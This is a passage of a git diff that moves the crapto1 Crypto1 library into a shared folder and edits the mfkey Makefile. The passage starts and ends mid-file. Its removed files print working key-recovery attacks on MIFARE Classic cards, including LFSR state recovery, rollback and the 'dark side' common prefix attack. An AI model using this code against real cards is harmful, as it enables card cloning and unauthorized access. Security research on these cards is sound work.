+       for(; __n < 1 << 16; N = prng_successor(__M = ++__n, 16))\
+               for(__i = FSIZE - 1; __i >= 0; __i--)\
+                       if(BIT(FILTER, __i) ^ parity(__M & 0xFF01))\
+                               break;\
+                       else if(__i)\
+                               __M = prng_successor(__M, (__i == 7) ? 48 : 8);\
+                       else 
+
+#define LF_POLY_ODD (0x29CE5C)
+#define LF_POLY_EVEN (0x870804)
+#define BIT(x, n) ((x) >> (n) & 1)
+#define BEBIT(x, n) BIT(x, (n) ^ 24)
+static inline int parity(uint32_t x)
+{
+#if !defined __i386__ || !defined __GNUC__
+       x ^= x >> 16;
+       x ^= x >> 8;
+       x ^= x >> 4;
+       return BIT(0x6996, x & 0xf);
+#else
+        __asm(    "movl %1, %%eax\n"
+               "mov %%ax, %%cx\n"
+               "shrl $0x10, %%eax\n"
+               "xor %%ax, %%cx\n"
+                "xor %%ch, %%cl\n"
+                "setpo %%al\n"
+                "movzx %%al, %0\n": "=r"(x) : "r"(x): "eax","ecx");
+       return x;
+#endif
+}
+static inline int filter(uint32_t const x)
+{
+       uint32_t f;
+
+       f  = 0xf22c0 >> (x       & 0xf) & 16;
+       f |= 0x6c9c0 >> (x >>  4 & 0xf) &  8;
+       f |= 0x3c8b0 >> (x >>  8 & 0xf) &  4;
+       f |= 0x1e458 >> (x >> 12 & 0xf) &  2;
+       f |= 0x0d938 >> (x >> 16 & 0xf) &  1;
+       return BIT(0xEC57E80A, f);
+}
+#ifdef __cplusplus
+}
+#endif
+#endif
diff --git a/common/crapto1/crypto1.c b/common/crapto1/crypto1.c
new file mode 100644 (file)
index 0000000..a3f64a9
--- /dev/null
@@ -0,0 +1,111 @@
+/*  crypto1.c
+
+       This program is free software; you can redistribute it and/or
+       modify it under the terms of the GNU General Public License
+       as published by the Free Software Foundation; either version 2
+       of the License, or (at your option) any later version.
+
+       This program is distributed in the hope that it will be useful,
+       but WITHOUT ANY WARRANTY; without even the implied warranty of
+       MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+       GNU General Public License for more details.
+
+       You should have received a copy of the GNU General Public License
+       along with this program; if not, write to the Free Software
+       Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+       MA  02110-1301, US
+
+       Copyright (C) 2008-2008 bla <blapost@gmail.com>
+*/
+#include "crapto1.h"
+#include <stdlib.h>
+
+#define SWAPENDIAN(x)\
+       (x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16)
+
+#if defined(__arm__) && !defined(__linux__) && !defined(_WIN32)                        // bare metal ARM lacks malloc()/free()
+void crypto1_create(struct Crypto1State *s, uint64_t key)
+{
+       int i;
+
+       for(i = 47;s && i > 0; i -= 2) {
+               s->odd  = s->odd  << 1 | BIT(key, (i - 1) ^ 7);
+               s->even = s->even << 1 | BIT(key, i ^ 7);
+       }
+       return;
+}
+void crypto1_destroy(struct Crypto1State *state)
+{
+       state->odd = 0;
+       state->even = 0;
+}
+#else
+struct Crypto1State * crypto1_create(uint64_t key)
+{
+       struct Crypto1State *s = malloc(sizeof(*s));
+       int i;
+
+       for(i = 47;s && i > 0; i -= 2) {
+               s->odd  = s->odd  << 1 | BIT(key, (i - 1) ^ 7);
+               s->even = s->even << 1 | BIT(key, i ^ 7);
+       }
+       return s;
+}
+void crypto1_destroy(struct Crypto1State *state)
+{
+       free(state);
+}
+#endif
+void crypto1_get_lfsr(struct Crypto1State *state, uint64_t *lfsr)
+{
+       int i;
+       for(*lfsr = 0, i = 23; i >= 0; --i) {
+               *lfsr = *lfsr << 1 | BIT(state->odd, i ^ 3);
+               *lfsr = *lfsr << 1 | BIT(state->even, i ^ 3);
+       }
+}
+uint8_t crypto1_bit(struct Crypto1State *s, uint8_t in, int is_encrypted)
+{
+       uint32_t feedin, t;
+       uint8_t ret = filter(s->odd);
+
+       feedin  = ret & !!is_encrypted;
+       feedin ^= !!in;
+       feedin ^= LF_POLY_ODD & s->odd;
+       feedin ^= LF_POLY_EVEN & s->even;
+       s->even = s->even << 1 | parity(feedin);
+
+       t = s->odd, s->odd = s->even, s->even = t;
+
+       return ret;
+}
+uint8_t crypto1_byte(struct Crypto1State *s, uint8_t in, int is_encrypted)
+{
+       uint8_t i, ret = 0;
+
+       for (i = 0; i < 8; ++i)
+               ret |= crypto1_bit(s, BIT(in, i), is_encrypted) << i;
+
+       return ret;
+}
+uint32_t crypto1_word(struct Crypto1State *s, uint32_t in, int is_encrypted)
+{
+       uint32_t i, ret = 0;
+
+       for (i = 0; i < 32; ++i)
+               ret |= crypto1_bit(s, BEBIT(in, i), is_encrypted) << (i ^ 24);
+
+       return ret;
+}
+
+/* prng_successor
+ * helper used to obscure the keystream during authentication
+ */
+uint32_t prng_successor(uint32_t x, uint32_t n)
+{
+       SWAPENDIAN(x);
+       while(n--)
+               x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31;
+
+       return SWAPENDIAN(x);
+}
index f4f7eb82c02d496e0039d79e8d18a7a17ee8d59b..73ce032f8f14093d298cf7c1cc5eadf4de06a62d 100755 (executable)
@@ -1,17 +1,20 @@
+VPATH = ../../common/crapto1
 CC = gcc
 LD = gcc
-CFLAGS = -Wall -Winline -O4
+CFLAGS = -I../../common -Wall -O4
 LDFLAGS =
 
-OBJS = crapto1.o crypto1.o
-HEADERS = 
-EXES = mfkey64 mfkey32
-LIBS =
-       
-all: $(OBJS) $(EXES) $(LIBS)
+OBJS = crypto1.o crapto1.o
+EXES = mfkey32 mfkey64
+WINEXES = $(patsubst %, %.exe, $(EXES))
 
-% : %.c $(OBJS)
-       $(LD) $(CFLAGS) -o $@ $< $(OBJS) $(LDFLAGS)
+all: $(OBJS) $(EXES)
+
+%.o : %.c
+       $(CC) $(CFLAGS) -c -o $@ $<
+
+% : %.c
+       $(CC) $(CFLAGS) $(LDFLAGS) -o $@ $(OBJS) $<
 
 clean: 
-       rm -f $(OBJS) $(EXES) $(LIBS) 
+       rm -f $(OBJS) $(EXES) $(WINEXES)
diff --git a/tools/mfkey/crapto1.c b/tools/mfkey/crapto1.c
deleted file mode 100755 (executable)
index 9d491d1..0000000
+++ /dev/null
@@ -1,478 +0,0 @@
-/*  crapto1.c\r
-\r
-    This program is free software; you can redistribute it and/or\r
-    modify it under the terms of the GNU General Public License\r
-    as published by the Free Software Foundation; either version 2\r
-    of the License, or (at your option) any later version.\r
-\r
-    This program is distributed in the hope that it will be useful,\r
-    but WITHOUT ANY WARRANTY; without even the implied warranty of\r
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\r
-    GNU General Public License for more details.\r
-\r
-    You should have received a copy of the GNU General Public License\r
-    along with this program; if not, write to the Free Software\r
-    Foundation, Inc., 51 Franklin Street, Fifth Floor,\r
-    Boston, MA  02110-1301, US$\r
-\r
-    Copyright (C) 2008-2008 bla <blapost@gmail.com>\r
-*/\r
-#include "crapto1.h"\r
-#include <stdlib.h>\r
-\r
-#if !defined LOWMEM && defined __GNUC__\r
-static uint8_t filterlut[1 << 20];\r
-static void __attribute__((constructor)) fill_lut()\r
-{\r
-        uint32_t i;\r
-        for(i = 0; i < 1 << 20; ++i)\r
-                filterlut[i] = filter(i);\r
-}\r
-#define filter(x) (filterlut[(x) & 0xfffff])\r
-#endif\r
-\r
-static void quicksort(uint32_t* const start, uint32_t* const stop)\r
-{\r
-       uint32_t *it = start + 1, *rit = stop;\r
-\r
-       if(it > rit)\r
-               return;\r
-\r
-       while(it < rit)\r
-               if(*it <= *start)\r
-                       ++it;\r
-               else if(*rit > *start)\r
-                       --rit;\r
-               else\r
-                       *it ^= (*it ^= *rit, *rit ^= *it);\r
-\r
-       if(*rit >= *start)\r
-               --rit;\r
-       if(rit != start)\r
-               *rit ^= (*rit ^= *start, *start ^= *rit);\r
-\r
-       quicksort(start, rit - 1);\r
-       quicksort(rit + 1, stop);\r
-}\r
-/** binsearch\r
- * Binary search for the first occurence of *stop's MSB in sorted [start,stop]\r
- */\r
-static inline uint32_t* binsearch(uint32_t *start, uint32_t *stop)\r
-{\r
-       uint32_t mid, val = *stop & 0xff000000;\r
-       while(start != stop)\r
-               if(start[mid = (stop - start) >> 1] > val)\r
-                       stop = &start[mid];\r
-               else\r
-                       start += mid + 1;\r
-\r
-       return start;\r
-}\r
-\r
-/** update_contribution\r
- * helper, calculates the partial linear feedback contributions and puts in MSB\r
- */\r
-static inline void\r
-update_contribution(uint32_t *item, const uint32_t mask1, const uint32_t mask2)\r
-{\r
-       uint32_t p = *item >> 25;\r
-\r
-       p = p << 1 | parity(*item & mask1);\r
-       p = p << 1 | parity(*item & mask2);\r
-       *item = p << 24 | (*item & 0xffffff);\r
-}\r
-\r
-/** extend_table\r
- * using a bit of the keystream extend the table of possible lfsr states\r
- */\r
-static inline void\r
-extend_table(uint32_t *tbl, uint32_t **end, int bit, int m1, int m2, uint32_t in)\r
-{\r
-       in <<= 24;\r
-       for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1)\r
-               if(filter(*tbl) ^ filter(*tbl | 1)) {\r
-                       *tbl |= filter(*tbl) ^ bit;\r
-                       update_contribution(tbl, m1, m2);\r
-                       *tbl ^= in;\r
-               } else if(filter(*tbl) == bit) {\r
-                       *++*end = tbl[1];\r
-                       tbl[1] = tbl[0] | 1;\r
-                       update_contribution(tbl, m1, m2);\r
-                       *tbl++ ^= in;\r
-                       update_contribution(tbl, m1, m2);\r
-                       *tbl ^= in;\r
-               } else\r
-                       *tbl-- = *(*end)--;\r
-}\r
-/** extend_table_simple\r
- * using a bit of the keystream extend the table of possible lfsr states\r
- */\r
-static inline void extend_table_simple(uint32_t *tbl, uint32_t **end, int bit)\r
-{\r
-       for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1)\r
-               if(filter(*tbl) ^ filter(*tbl | 1))\r
-                       *tbl |= filter(*tbl) ^ bit;\r
-               else if(filter(*tbl) == bit) {\r
-                       *++*end = *++tbl;\r
-                       *tbl = tbl[-1] | 1;\r
-               } else\r
-                       *tbl-- = *(*end)--;\r
-}\r
-/** recover\r
- * recursively narrow down the search space, 4 bits of keystream at a time\r
- */\r
-static struct Crypto1State*\r
-recover(uint32_t *o_head, uint32_t *o_tail, uint32_t oks,\r
-       uint32_t *e_head, uint32_t *e_tail, uint32_t eks, int rem,\r
-       struct Crypto1State *sl, uint32_t in)\r
-{\r
-       uint32_t *o, *e, i;\r
-\r
-       if(rem == -1) {\r
-               for(e = e_head; e <= e_tail; ++e) {\r
-                       *e = *e << 1 ^ parity(*e & LF_POLY_EVEN) ^ !!(in & 4);\r
-                       for(o = o_head; o <= o_tail; ++o, ++sl) {\r
-                               sl->even = *o;\r
-                               sl->odd = *e ^ parity(*o & LF_POLY_ODD);\r
-                               sl[1].odd = sl[1].even = 0;\r
-                       }\r
-               }\r
-               return sl;\r
-       }\r
-\r
-       for(i = 0; i < 4 && rem--; i++) {\r
-               oks >>= 1;\r
-               eks >>= 1;\r
-               in >>= 2;\r
-               extend_table(o_head, &o_tail, oks & 1, LF_POLY_EVEN << 1 | 1,\r
-                            LF_POLY_ODD << 1, 0);\r
-               if(o_head > o_tail)\r
-                       return sl;\r
-\r
-               extend_table(e_head, &e_tail, eks & 1, LF_POLY_ODD,\r
-                            LF_POLY_EVEN << 1 | 1, in & 3);\r
-               if(e_head > e_tail)\r
-                       return sl;\r
-       }\r
-\r
-       quicksort(o_head, o_tail);\r
-       quicksort(e_head, e_tail);\r
-\r
-       while(o_tail >= o_head && e_tail >= e_head)\r
-               if(((*o_tail ^ *e_tail) >> 24) == 0) {\r
-                       o_tail = binsearch(o_head, o = o_tail);\r
-                       e_tail = binsearch(e_head, e = e_tail);\r
-                       sl = recover(o_tail--, o, oks,\r
-                                    e_tail--, e, eks, rem, sl, in);\r
-               }\r
-               else if(*o_tail > *e_tail)\r
-                       o_tail = binsearch(o_head, o_tail) - 1;\r
-               else\r
-                       e_tail = binsearch(e_head, e_tail) - 1;\r
-\r
-       return sl;\r
-}\r
-/** lfsr_recovery\r
- * recover the state of the lfsr given 32 bits of the keystream\r
- * additionally you can use the in parameter to specify the value\r
- * that was fed into the lfsr at the time the keystream was generated\r
- */\r
-struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in)\r
-{\r
-       struct Crypto1State *statelist;\r
-       uint32_t *odd_head = 0, *odd_tail = 0, oks = 0;\r
-       uint32_t *even_head = 0, *even_tail = 0, eks = 0;\r
-       int i;\r
-\r
-       for(i = 31; i >= 0; i -= 2)\r
-               oks = oks << 1 | BEBIT(ks2, i);\r
-       for(i = 30; i >= 0; i -= 2)\r
-               eks = eks << 1 | BEBIT(ks2, i);\r
-\r
-       odd_head = odd_tail = malloc(sizeof(uint32_t) << 21);\r
-       even_head = even_tail = malloc(sizeof(uint32_t) << 21);\r
-       statelist =  malloc(sizeof(struct Crypto1State) << 18);\r
-       if(!odd_tail-- || !even_tail-- || !statelist) {\r
-               free(statelist);\r
-               statelist = 0;\r
-               goto out;\r
-       }\r
-\r
-       statelist->odd = statelist->even = 0;\r
-\r
-       for(i = 1 << 20; i >= 0; --i) {\r
-               if(filter(i) == (oks & 1))\r
-                       *++odd_tail = i;\r
-               if(filter(i) == (eks & 1))\r
-                       *++even_tail = i;\r
-       }\r
-\r
-       for(i = 0; i < 4; i++) {\r
-               extend_table_simple(odd_head,  &odd_tail, (oks >>= 1) & 1);\r
-               extend_table_simple(even_head, &even_tail, (eks >>= 1) & 1);\r
-       }\r
-\r
-       in = (in >> 16 & 0xff) | (in << 16) | (in & 0xff00);\r
-       recover(odd_head, odd_tail, oks,\r
-               even_head, even_tail, eks, 11, statelist, in << 1);\r
-\r
-out:\r
-       free(odd_head);\r
-       free(even_head);\r
-       return statelist;\r
-}\r
-\r
-static const uint32_t S1[] = {     0x62141, 0x310A0, 0x18850, 0x0C428, 0x06214,\r
-       0x0310A, 0x85E30, 0xC69AD, 0x634D6, 0xB5CDE, 0xDE8DA, 0x6F46D, 0xB3C83,\r
-       0x59E41, 0xA8995, 0xD027F, 0x6813F, 0x3409F, 0x9E6FA};\r
-static const uint32_t S2[] = {  0x3A557B00, 0x5D2ABD80, 0x2E955EC0, 0x174AAF60,\r
-       0x0BA557B0, 0x05D2ABD8, 0x0449DE68, 0x048464B0, 0x42423258, 0x278192A8,\r
-       0x156042D0, 0x0AB02168, 0x43F89B30, 0x61FC4D98, 0x765EAD48, 0x7D8FDD20,\r
-       0x7EC7EE90, 0x7F63F748, 0x79117020};\r
-static const uint32_t T1[] = {\r
-       0x4F37D, 0x279BE, 0x97A6A, 0x4BD35, 0x25E9A, 0x12F4D, 0x097A6, 0x80D66,\r
-       0xC4006, 0x62003, 0xB56B4, 0x5AB5A, 0xA9318, 0xD0F39, 0x6879C, 0xB057B,\r
-       0x582BD, 0x2C15E, 0x160AF, 0x8F6E2, 0xC3DC4, 0xE5857, 0x72C2B, 0x39615,\r
-       0x98DBF, 0xC806A, 0xE0680, 0x70340, 0x381A0, 0x98665, 0x4C332, 0xA272C};\r
-static const uint32_t T2[] = {  0x3C88B810, 0x5E445C08, 0x2982A580, 0x14C152C0,\r
-       0x4A60A960, 0x253054B0, 0x52982A58, 0x2FEC9EA8, 0x1156C4D0, 0x08AB6268,\r
-       0x42F53AB0, 0x217A9D58, 0x161DC528, 0x0DAE6910, 0x46D73488, 0x25CB11C0,\r
-       0x52E588E0, 0x6972C470, 0x34B96238, 0x5CFC3A98, 0x28DE96C8, 0x12CFC0E0,\r
-       0x4967E070, 0x64B3F038, 0x74F97398, 0x7CDC3248, 0x38CE92A0, 0x1C674950,\r
-       0x0E33A4A8, 0x01B959D0, 0x40DCACE8, 0x26CEDDF0};\r
-static const uint32_t C1[] = { 0x846B5, 0x4235A, 0x211AD};\r
-static const uint32_t C2[] = { 0x1A822E0, 0x21A822E0, 0x21A822E0};\r
-/** Reverse 64 bits of keystream into possible cipher states\r
- * Variation mentioned in the paper. Somewhat optimized version\r
- */\r
-struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3)\r
-{\r
-       struct Crypto1State *statelist, *sl;\r
-       uint8_t oks[32], eks[32], hi[32];\r
-       uint32_t low = 0,  win = 0;\r
-       uint32_t *tail, table[1 << 16];\r
-       int i, j;\r
-\r
-       sl = statelist = malloc(sizeof(struct Crypto1State) << 4);\r
-       if(!sl)\r
-               return 0;\r
-       sl->odd = sl->even = 0;\r
-\r
-       for(i = 30; i >= 0; i -= 2) {\r
-               oks[i >> 1] = BEBIT(ks2, i);\r
-               oks[16 + (i >> 1)] = BEBIT(ks3, i);\r
-       }\r
-       for(i = 31; i >= 0; i -= 2) {\r
-               eks[i >> 1] = BEBIT(ks2, i);\r
-               eks[16 + (i >> 1)] = BEBIT(ks3, i);\r
-       }\r
-\r
-       for(i = 0xfffff; i >= 0; --i) {\r
-               if (filter(i) != oks[0])\r
-                       continue;\r
-\r
-               *(tail = table) = i;\r
-               for(j = 1; tail >= table && j < 29; ++j)\r
-                       extend_table_simple(table, &tail, oks[j]);\r
-\r
-               if(tail < table)\r
-                       continue;\r
-\r
-               for(j = 0; j < 19; ++j)\r
-                       low = low << 1 | parity(i & S1[j]);\r
-               for(j = 0; j < 32; ++j)\r
-                       hi[j] = parity(i & T1[j]);\r
-\r
-               for(; tail >= table; --tail) {\r
-                       for(j = 0; j < 3; ++j) {\r
-                               *tail = *tail << 1;\r
-                               *tail |= parity((i & C1[j]) ^ (*tail & C2[j]));\r
-                               if(filter(*tail) != oks[29 + j])\r
-                                       goto continue2;\r
-                       }\r
-\r
-                       for(j = 0; j < 19; ++j)\r
-                               win = win << 1 | parity(*tail & S2[j]);\r
-\r
-                       win ^= low;\r
-                       for(j = 0; j < 32; ++j) {\r
-                               win = win << 1 ^ hi[j] ^ parity(*tail & T2[j]);\r
-                               if(filter(win) != eks[j])\r
-                                       goto continue2;\r
-                       }\r
-\r
-                       *tail = *tail << 1 | parity(LF_POLY_EVEN & *tail);\r
-                       sl->odd = *tail ^ parity(LF_POLY_ODD & win);\r
-                       sl->even = win;\r
-                       ++sl;\r
-                       sl->odd = sl->even = 0;\r
-                       continue2:;\r
-               }\r
-       }\r
-       return statelist;\r
-}\r
-\r
-/** lfsr_rollback_bit\r
- * Rollback the shift register in order to get previous states\r
- */\r
-uint8_t lfsr_rollback_bit(struct Crypto1State *s, uint32_t in, int fb)\r
-{\r
-       int out;\r
-       uint8_t ret;\r
-\r
-       s->odd &= 0xffffff;\r
-       s->odd ^= (s->odd ^= s->even, s->even ^= s->odd);\r
-\r
-       out = s->even & 1;\r
-       out ^= LF_POLY_EVEN & (s->even >>= 1);\r
-       out ^= LF_POLY_ODD & s->odd;\r
-       out ^= !!in;\r
-       out ^= (ret = filter(s->odd)) & !!fb;\r
-\r
-       s->even |= parity(out) << 23;\r
-       return ret;\r
-}\r
-/** lfsr_rollback_byte\r
- * Rollback the shift register in order to get previous states\r
- */\r
-uint8_t lfsr_rollback_byte(struct Crypto1State *s, uint32_t in, int fb)\r
-{\r
-       int i, ret = 0;\r
-       for (i = 7; i >= 0; --i)\r
-               ret |= lfsr_rollback_bit(s, BIT(in, i), fb) << i;\r
-       return ret;\r
-}\r
-/** lfsr_rollback_word\r
- * Rollback the shift register in order to get previous states\r
- */\r
-uint32_t lfsr_rollback_word(struct Crypto1State *s, uint32_t in, int fb)\r
-{\r
-       int i;\r
-       uint32_t ret = 0;\r
-       for (i = 31; i >= 0; --i)\r
-               ret |= lfsr_rollback_bit(s, BEBIT(in, i), fb) << (i ^ 24);\r
-       return ret;\r
-}\r
-\r
-/** nonce_distance\r
- * x,y valid tag nonces, then prng_successor(x, nonce_distance(x, y)) = y\r
- */\r
-static uint16_t *dist = 0;\r
-int nonce_distance(uint32_t from, uint32_t to)\r
-{\r
-       uint16_t x, i;\r
-       if(!dist) {\r
-               dist = malloc(2 << 16);\r
-               if(!dist)\r
-                       return -1;\r
-               for (x = i = 1; i; ++i) {\r
-                       dist[(x & 0xff) << 8 | x >> 8] = i;\r
-                       x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15;\r
-               }\r
-       }\r
-       return (65535 + dist[to >> 16] - dist[from >> 16]) % 65535;\r
-}\r
-\r
-\r
-static uint32_t fastfwd[2][8] = {\r
-       { 0, 0x4BC53, 0xECB1, 0x450E2, 0x25E29, 0x6E27A, 0x2B298, 0x60ECB},\r
-       { 0, 0x1D962, 0x4BC53, 0x56531, 0xECB1, 0x135D3, 0x450E2, 0x58980}};\r
-/** lfsr_prefix_ks\r
- *\r
- * Is an exported helper function from the common prefix attack\r
- * Described in the "dark side" paper. It returns an -1 terminated array\r
- * of possible partial(21 bit) secret state.\r
- * The required keystream(ks) needs to contain the keystream that was used to\r
- * encrypt the NACK which is observed when varying only the 3 last bits of Nr\r
- * only correct iff [NR_3] ^ NR_3 does not depend on Nr_3\r
- */\r
-uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd)\r
-{\r
-       uint32_t c, entry, *candidates = malloc(4 << 10);\r
-       int i, size = 0, good;\r
-\r
-       if(!candidates)\r
-               return 0;\r
-\r
-       for(i = 0; i < 1 << 21; ++i) {\r
-               for(c = 0, good = 1; good && c < 8; ++c) {\r
-                       entry = i ^ fastfwd[isodd][c];\r
-                       good &= (BIT(ks[c], isodd) == filter(entry >> 1));\r
-                       good &= (BIT(ks[c], isodd + 2) == filter(entry));\r
-               }\r
-               if(good)\r
-                       candidates[size++] = i;\r
-       }\r
-\r
-       candidates[size] = -1;\r
-\r
-       return candidates;\r
-}\r
-\r
-/** check_pfx_parity\r
- * helper function which eliminates possible secret states using parity bits\r
- */\r
-static struct Crypto1State*\r
-check_pfx_parity(uint32_t prefix, uint32_t rresp, uint8_t parities[8][8],\r
-               uint32_t odd, uint32_t even, struct Crypto1State* sl)\r
-{\r
-       uint32_t ks1, nr, ks2, rr, ks3, c, good = 1;\r
-\r
-       for(c = 0; good && c < 8; ++c) {\r
-               sl->odd = odd ^ fastfwd[1][c];\r
-               sl->even = even ^ fastfwd[0][c];\r
-\r
-               lfsr_rollback_bit(sl, 0, 0);\r
-               lfsr_rollback_bit(sl, 0, 0);\r
-\r
-               ks3 = lfsr_rollback_bit(sl, 0, 0);\r
-               ks2 = lfsr_rollback_word(sl, 0, 0);\r
-               ks1 = lfsr_rollback_word(sl, prefix | c << 5, 1);\r
-\r
-               nr = ks1 ^ (prefix | c << 5);\r
-               rr = ks2 ^ rresp;\r
-\r
-               good &= parity(nr & 0x000000ff) ^ parities[c][3] ^ BIT(ks2, 24);\r
-               good &= parity(rr & 0xff000000) ^ parities[c][4] ^ BIT(ks2, 16);\r
-               good &= parity(rr & 0x00ff0000) ^ parities[c][5] ^ BIT(ks2,  8);\r
-               good &= parity(rr & 0x0000ff00) ^ parities[c][6] ^ BIT(ks2,  0);\r
-               good &= parity(rr & 0x000000ff) ^ parities[c][7] ^ ks3;\r
-       }\r
-\r
-       return sl + good;\r
-} \r
-\r
-\r
-/** lfsr_common_prefix\r
- * Implentation of the common prefix attack.\r
- */\r
-struct Crypto1State*\r
-lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8])\r
-{\r
-       struct Crypto1State *statelist, *s;\r
-       uint32_t *odd, *even, *o, *e, top;\r
-\r
-       odd = lfsr_prefix_ks(ks, 1);\r
-       even = lfsr_prefix_ks(ks, 0);\r
-\r
-       s = statelist = malloc((sizeof *statelist) << 20);\r
-       if(!s || !odd || !even) {\r
-               free(statelist);\r
-               statelist = 0;\r
-                goto out;\r
-       }\r
-\r
-       for(o = odd; *o + 1; ++o)\r
-               for(e = even; *e + 1; ++e)\r
-                       for(top = 0; top < 64; ++top) {\r
-                               *o += 1 << 21;\r
-                               *e += (!(top & 7) + 1) << 21;\r
-                               s = check_pfx_parity(pfx, rr, par, *o, *e, s);\r
-                       }\r
-\r
-       s->odd = s->even = 0;\r
-out:\r
-       free(odd);\r
-       free(even);\r
-       return statelist;\r
-}\r
diff --git a/tools/mfkey/crapto1.h b/tools/mfkey/crapto1.h
deleted file mode 100755 (executable)
index 127a17d..0000000
+++ /dev/null
@@ -1,93 +0,0 @@
-/*  crapto1.h
-
-    This program is free software; you can redistribute it and/or
-    modify it under the terms of the GNU General Public License
-    as published by the Free Software Foundation; either version 2
-    of the License, or (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
-    MA  02110-1301, US$
-
-    Copyright (C) 2008-2008 bla <blapost@gmail.com>
-*/
-#ifndef CRAPTO1_INCLUDED
-#define CRAPTO1_INCLUDED
-#include <stdint.h>
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-struct Crypto1State {uint32_t odd, even;};
-struct Crypto1State* crypto1_create(uint64_t);
-void crypto1_destroy(struct Crypto1State*);
-void crypto1_get_lfsr(struct Crypto1State*, uint64_t*);
-uint8_t crypto1_bit(struct Crypto1State*, uint8_t, int);
-uint8_t crypto1_byte(struct Crypto1State*, uint8_t, int);
-uint32_t crypto1_word(struct Crypto1State*, uint32_t, int);
-uint32_t prng_successor(uint32_t x, uint32_t n);
-
-struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in);
-struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3);
-uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd);
-struct Crypto1State*
-lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8]);
-
-uint8_t lfsr_rollback_bit(struct Crypto1State* s, uint32_t in, int fb);
-uint8_t lfsr_rollback_byte(struct Crypto1State* s, uint32_t in, int fb);
-uint32_t lfsr_rollback_word(struct Crypto1State* s, uint32_t in, int fb);
-int nonce_distance(uint32_t from, uint32_t to);
-#define FOREACH_VALID_NONCE(N, FILTER, FSIZE)\
-       uint32_t __n = 0,__M = 0, N = 0;\
-       int __i;\
-       for(; __n < 1 << 16; N = prng_successor(__M = ++__n, 16))\
-               for(__i = FSIZE - 1; __i >= 0; __i--)\
-                       if(BIT(FILTER, __i) ^ parity(__M & 0xFF01))\
-                               break;\
-                       else if(__i)\
-                               __M = prng_successor(__M, (__i == 7) ? 48 : 8);\
-                       else 
-
-#define LF_POLY_ODD (0x29CE5C)
-#define LF_POLY_EVEN (0x870804)
-#define BIT(x, n) ((x) >> (n) & 1)
-#define BEBIT(x, n) BIT(x, (n) ^ 24)
-static inline int parity(uint32_t x)
-{
-#if !defined __i386__ || !defined __GNUC__
-       x ^= x >> 16;
-       x ^= x >> 8;
-       x ^= x >> 4;
-       return BIT(0x6996, x & 0xf);
-#else
-        asm(    "movl %1, %%eax\n"
-               "mov %%ax, %%cx\n"
-               "shrl $0x10, %%eax\n"
-               "xor %%ax, %%cx\n"
-                "xor %%ch, %%cl\n"
-                "setpo %%al\n"
-                "movzx %%al, %0\n": "=r"(x) : "r"(x): "eax","ecx");
-       return x;
-#endif
-}
-static inline int filter(uint32_t const x)
-{
-       uint32_t f;
-
-       f  = 0xf22c0 >> (x       & 0xf) & 16;
-       f |= 0x6c9c0 >> (x >>  4 & 0xf) &  8;
-       f |= 0x3c8b0 >> (x >>  8 & 0xf) &  4;
-       f |= 0x1e458 >> (x >> 12 & 0xf) &  2;
-       f |= 0x0d938 >> (x >> 16 & 0xf) &  1;
-       return BIT(0xEC57E80A, f);
-}
-#ifdef __cplusplus
-}
-#endif
-#endif
diff --git a/tools/mfkey/crypto1.c b/tools/mfkey/crypto1.c
deleted file mode 100755 (executable)
index e2aab71..0000000
+++ /dev/null
@@ -1,93 +0,0 @@
-/*  crypto1.c
-
-    This program is free software; you can redistribute it and/or
-    modify it under the terms of the GNU General Public License
-    as published by the Free Software Foundation; either version 2
-    of the License, or (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
-    MA  02110-1301, US
-
-    Copyright (C) 2008-2008 bla <blapost@gmail.com>
-*/
-#include "crapto1.h"
-#include <stdlib.h>
-
-#define SWAPENDIAN(x)\
-       (x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16)
-
-struct Crypto1State * crypto1_create(uint64_t key)
-{
-       struct Crypto1State *s = malloc(sizeof(*s));
-       int i;
-
-       for(i = 47;s && i > 0; i -= 2) {
-               s->odd  = s->odd  << 1 | BIT(key, (i - 1) ^ 7);
-               s->even = s->even << 1 | BIT(key, i ^ 7);
-       }
-       return s;
-}
-void crypto1_destroy(struct Crypto1State *state)
-{
-       free(state);
-}
-void crypto1_get_lfsr(struct Crypto1State *state, uint64_t *lfsr)
-{
-       int i;
-       for(*lfsr = 0, i = 23; i >= 0; --i) {
-               *lfsr = *lfsr << 1 | BIT(state->odd, i ^ 3);
-               *lfsr = *lfsr << 1 | BIT(state->even, i ^ 3);
-       }
-}
-uint8_t crypto1_bit(struct Crypto1State *s, uint8_t in, int is_encrypted)
-{
-       uint32_t feedin;
-       uint8_t ret = filter(s->odd);
-
-       feedin  = ret & !!is_encrypted;
-       feedin ^= !!in;
-       feedin ^= LF_POLY_ODD & s->odd;
-       feedin ^= LF_POLY_EVEN & s->even;
-       s->even = s->even << 1 | parity(feedin);
-
